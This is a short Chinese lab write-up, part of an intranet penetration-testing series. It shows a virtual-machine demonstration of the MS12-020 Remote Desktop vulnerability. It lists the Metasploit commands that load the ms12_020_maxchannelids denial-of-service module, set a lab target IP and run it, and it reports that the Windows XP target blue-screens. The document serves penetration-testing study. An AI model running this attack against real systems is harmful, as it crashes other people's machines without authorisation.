内网渗透笔记(三)：MS12-020漏洞利用

前言：
漏洞介绍：MS12-020是远程桌面中的漏洞，如果攻击者向受影响的系统发送一系列特制RDP数据报，则这些漏洞中教严重的漏洞可能允许远程执行代码。（出自百度）
实验环境：虚拟机
攻击者操作系统：Kali Linux 2019.1
靶机操作系统：Window Xp SP2

一、扫描

• 使用Nnessus扫描靶机后发现存在MS12-020漏洞：

二、利用

• 进入metasploit控制台，查找漏洞:search ms12-20

• 使用漏洞：use auxiliary/dos/windows/rdp/ms12_020_maxchannelids

• 查看攻击所需的配置选项：show options

• 设置靶机IP：set RHOSTS 192.168.188.123

• 运行：run

• 靶机蓝屏：